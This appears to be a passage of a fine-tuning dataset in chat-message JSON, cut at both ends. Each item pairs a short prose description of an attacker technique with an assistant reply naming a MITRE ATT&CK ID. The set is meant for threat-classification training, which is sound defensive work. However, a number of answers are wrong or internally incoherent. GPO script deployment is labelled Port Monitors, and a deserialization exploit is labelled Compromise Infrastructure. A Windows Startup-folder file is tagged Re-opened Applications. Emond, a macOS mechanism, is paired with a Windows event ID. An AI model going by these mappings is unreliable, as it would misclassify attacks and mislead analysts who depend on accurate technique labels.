            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs `id -Gn` on a Unix system to display the groups the current user belongs to."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Linux-based ransomware uses the 'import' command from ImageMagick to grab the X server screenshot."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a supply‑chain compromise, the attacker injects malicious EFI drivers into a vendor's firmware image."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script utilized the MAPI namespace to enumerate all local mail folders and export their messages."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a vulnerable EternalBlue SMB service to move laterally across the network."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor reviews the target’s public financial reports release schedule to understand critical operational windows."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor periodically contacts a hard-coded IP address over TLS, establishing an encrypted tunnel for command exchange."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker encoded PowerShell commands in base64 before execution to hide their intent."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor performs a group enumeration by issuing the 'dsquery group' command against the domain controller."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a forged device certificate and registers it to a target’s account, enabling covert command and control."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary placed a malicious JavaScript file in the %TEMP% directory and configured a shortcut (.lnk) to execute the script via wscript.exe, effectively using a system script proxy to run code with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Utilizing Group Policy Objects (GPOs) enables an attacker to push malicious scripts across the domain, facilitating widespread lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a compromised serverless container on AWS Fargate to run a credential harvesting tool that captures IAM role tokens."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a shortcut (LNK) placed in the startup folder to launch a cryptominer on boot."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compresses stolen files and encrypts them with a symmetric key, then uploads the ciphertext to a cloud storage service over an HTTPS connection that is not used for C2."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder sets up a scheduled SCP command to send harvested files to a remote server every 30 minutes."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by installing a systemd timer that triggers a Bash script every 30 minutes."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using malvertising, the group serves an exploit kit via compromised ad networks to target users of outdated browsers."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor adds a new entry to the Access Control List (ACL) of a shared network drive, giving themselves write privileges."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious software sends its beacon using forged DHCP packets, making the traffic seem like standard network configuration traffic."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies file timestamps to make malicious files appear older than they are, thereby evading forensic analysis."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a keylogging module to capture user input during remote desktop sessions."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves storing a malicious DLL pointer in the process's Thread Local Storage and then invoking it when a new thread is spawned."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed a man‑in‑the‑middle attack on the certificate issuance process to insert a malicious certificate."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group leverages a vulnerable web service’s deserialization flaw to achieve remote code execution and pivot within the network."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs passive network traffic collection to discover internal IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group acquired a set of open‑source exploit modules from a darknet forum and integrated them into their toolchain."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerable service to run 'dsquery user -limit 0' and harvests all domain usernames."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware abuses DDE to relay commands to a legitimate process, bypassing application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script executes 'wmic service get name, state, startmode' to gather information about installed services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries add a service principal to Azure AD to maintain control over the compromised tenant."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor harvests credentials from unsecured environment variables in Docker containers."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool queries the Windows Management Instrumentation (WMI) to obtain the computer's hostname, domain, and logged-in user accounts."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers exploit the lack of logging in deprecated cloud regions to hide malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors acquire a ransomware encryptor script from a hacking forum."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised SCADA interface, the adversary issues traffic signal control commands to block police pursuit."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracted service account hashes and generated a Silver Ticket, granting the adversary unauthorized access to the internal accounting system."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By obtaining a service account password, the attacker gains persistent access to the victim's cloud infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the system's Software Integrity Policy (SIP) to load malicious binaries, effectively hijacking the trust provider."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the group clears the Security log and then disables further logging via group policy."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group embeds a C2 script in the color palette of a BMP image, using steganographic techniques to bypass network filters."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses traceroute and ICMP time‑exceeded messages to map intermediate routers and map the victim's internal network layout."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor secures a compromised third‑party SaaS account for data collection."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware component writes a list of compromised accounts to the Registry key HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the Windows API to programmatically create a local user account on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a rogue CA certificate to the macOS system keychain, allowing interception of TLS connections."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware runs commands to clear Windows network connection logs and removes persistent network configuration artifacts."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uploads a malicious executable to the compromised server using a hidden HTTP POST request."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the shim database to replace a legitimate system binary with a malicious version, triggering execution whenever the binary is launched."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A virus creates a symmetric encryption tunnel for data exfiltration, using a hard‑coded key to mask payloads."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ a custom archiving script that combines multiple file types into a single .blob file for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a misconfiguration in the MFA service to trigger authentication requests en masse, causing user fatigue and a higher likelihood of approval."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit triggers the creation of a COM object in a privileged process, allowing the attacker to send data and receive responses via COM pipes."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a Python script that reads the sysfs entries in /sys/bus/usb/devices to enumerate USB devices on a Linux host."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor sets up an email forwarding rule to exfiltrate data from the victim's Outlook account."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor communicates with its C2 using the FTP protocol to retrieve additional modules."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a legitimate web service to exfiltrate credentials by issuing outbound POST requests with no expected reply."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor used a credential dumping tool to retrieve admin passwords and then granted delegate rights to a hidden account across multiple Exchange mailboxes."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Emond, the attacker defines a trigger on Event ID 4688 (process creation) to launch a hidden executable each time a specific process starts."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor runs a fork bomb on a Linux host, quickly consuming all process table entries and rendering the endpoint inoperable."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A file is placed in the 'Startup' directory, ensuring the malware reopens each time the computer starts."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom script, the threat actor cleared the contents of /var/log/auth.log and /var/log/syslog on a Linux server to cover tracks of privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages PowerShell transcription logging being turned off to hide command history."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a script that captures the victim's session cookie and sends it back to the attacker for reuse."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following lateral movement, the intruder deletes the command history logs from each compromised host to erase evidence of the attack."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages a compromised service account to list AWS S3 bucket policies and retrieve stored IAM credentials."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing tool is delivered via an HTML page that uses JavaScript to reconstruct a malicious binary from chunks stored in hidden HTML comments, then executes it in memory, demonstrating HTML smuggling tactics."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary replaces the device's firmware with an older, vulnerable version to bypass security patches."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages WMI to call the Win32_PowerPlan class and activate a custom power scheme that disables standby, ensuring the compromised endpoint stays awake for background tasks."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised a third‑party package repository and published a tampered version of a widely used library that silently installs a backdoor on any system that installs it."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Word document containing a macro is delivered via a compromised website; the victim enables macros, causing the payload to run."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host is promoted to a rogue domain controller, allowing the attacker to issue Group Policy changes that exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An iOS app executed a jailbreak script to gain root access and install a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exfiltration tool applies binary-to-text encoding (base64) to encrypted data before sending it over SMTP."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection chain includes injecting malicious functions into a process’s TLS callbacks, allowing persistence across thread restarts."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
